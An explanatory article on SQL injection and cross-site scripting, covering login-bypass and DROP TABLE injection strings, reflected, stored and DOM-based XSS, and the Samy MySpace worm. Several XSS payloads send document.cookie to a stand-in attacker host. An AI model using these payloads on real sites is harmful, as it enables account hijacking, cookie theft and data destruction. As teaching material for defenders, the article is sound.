SQL Injection vs. Cross-Site Sripting
SQL Injection
There are many different types of attacks hackers can conduct in order to take partial or total control of a website. In general the most common and dangerous ones are SQL injections and cross-site scripting (XSS).
SQL injection is a technique to inject a piece of a malicious code in a web application, exploiting security vulnerability at the database level to change its behavior. Applications often use user-supplied data to create SQL statements. If such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. With this powerful technique the attacker could manipulate URLs (query strings) or any form (search, login, email registration) to inject malicious code. Ability to change the logic of SQL statements executed against the database is extremely dangerous for an e-Commerce sites or any other site that keeps sensitive information in the database like SSN, CC numbers etc.
Some samples of SQL injections are:
SQL Injection using Dynamic Strings
A web based application form might build a SQL request to the database as string combining Username & Password in order to retrieve account information from database.
SELECT Username FROM Users WHERE Username = [value] AND Password = [value]
If the attacker submits login and password as
Username foo
Password: bar’ OR ‘ ‘=’ ‘
SQL command string would look like
SELECT Username FROM Users WHERE Username = ‘foo’ AND Password = ‘bar’ OR ‘ ‘=’ ‘
This query will return all rows from the user’s database, regardless of whether the foo is a real username or bar is a legitimate password. This is due to the OR statement appended to WHERE clause. The comparison ‘ ‘=’ ‘ will always return true result, making the overall WHERE clause evaluate to true for all rows in the table. If this is used for authentication purposes, the attacker will often be logged in as the first or last user in Users table.
SQL Injection in Stored Procedures
Stored procedures accept parameters which this type of attack is relaying on.
exec SignInUser ‘ ” + Username + “,’ ” + Password + “ ’ ”
First password option bar’ OR ‘ ‘=’ ’
would register attacker as user into application while second password option ‘; DROP TABLE Users–‘ would drop/delete table from database
Username: foo
Password: ‘; DROP TABLE Users–‘
Cross-Site Scripting (XSS)
Very powerful and popular hacking technique that injects malicious code in a webpage through user input without any further validation before returning it to the final user. In essence the attacker would submit code to webpage that would be echoed to the end user without further validation.
Code is usually written in HTML/JavaScript but extends to VBScript, ActiveX, Java, Flash or any other web browser supported technology. Once the code is executed usually runs within the security context of the hosting web site. With this level of privilege, the code has ability to READ, MODIFY and TRANSMIT any sensitive data that is accessible by the browser. Examples of XSS results are: “cookie theft” (hijacked account), browser redirects to another location, display fraudulent content delivered by the website. XSS attacks will essentially compromise relationship between user and web site.
There are three types of XSS attacks:
Non-Persistent XSS Attacks
Requires user to visit either a link or malicious web page containing web form, which when mounted to the vulnerable site will execute attack. Same applies to DOM-based XSS attacks. Using malicious form will take place with HTTP POST requests because form can be posted automatically without user’s knowledge using JavaScript technique. Upon visiting malicious link or submitting malicious form, the XSS payload will get echoed back and will get rendered by the user’s browser and execute. Another way is to send arbitrary request (GET and POST) by using embedded client such as Adobe Flash.
On web portals where user have a personalized view of a web site and is being greeted after logging in with “Welcome, <your username>”, data is often referenced through query string like
http://portal.example/index.php?sessionid=123456&username=Joe
Page would read query string and produce “Welcome, Joe” based on the data referenced in query string. Attacker would encode JavaScript code into query string so the user is confused and cannot easily recognized JavaScript code, otherwise suspicion flag is raised.
Encoded Script
http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Decoded Script
http://portal.example/index.php?sessionid=12312312&username=<script>document.location=’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie</script>
Persistent XSS Attacks
Persistent attacks are usually submitted to a web site where it’s stored for a period of time. Examples of an attacker’s favorite targets often include message board posts, web mail messages and web chat software. User is not required to interact with any additional site (form) or link, just simply view the page containing the code. On many websites hosting message boards’ user is usually registered and tracked using a session ID cookie authorizing them to post. If an attacker were to post message containing JavaScript code, a user could end up with compromised account.
<SCRIPT>document.location = ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?+’document.cookie</SCRIPT>
Due to attack payload being stored on the server this form of XSS attack is persistent.
DOM-based XSS Attacks.
Unlike two previous flavors of XSS attacks, DOM based XSS does not require web server to receive the malicious XSS payload. Instead DOM based XSS, the attacker abuses runtime embedding of attacker data in the client side, from within a page served from web server.
Consider an HTML page that embeds location/URL using JavaScript code to be displayed. In that case attacker can force the client’s browser to render the page with parts of the DOM controlled by attacker.
If for example
http://www.vulnerablesite.example/index.html contains script like
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT>var pos = document.URL.indexOf(“name=”)+5; document.write(document.URL.substring(pos, document.URL.length));</SCRIPT>
Welcome to our system … </HTML>
Cross-Site Scripting Worms and Malware
The best example of a Web Worm is Sammy Worm, the first major worm of its kind, spread by exploiting a persistent XSS vulnerability in MySpace.com’s personal profile web page template. The author of the Sammy Worm bypassed MySpace filtering and infected his profile page on myspace.com Since then every user’s profile that ever visited Sammy’s profile page was automatically updated with malicious code and Sammy was added as their friend as well. This attack resulted with over 1 million infected profiles within 24 hours. MySpace was force to shut-down its website in order to stop infection fix vulnerability filters and perform a clean-up.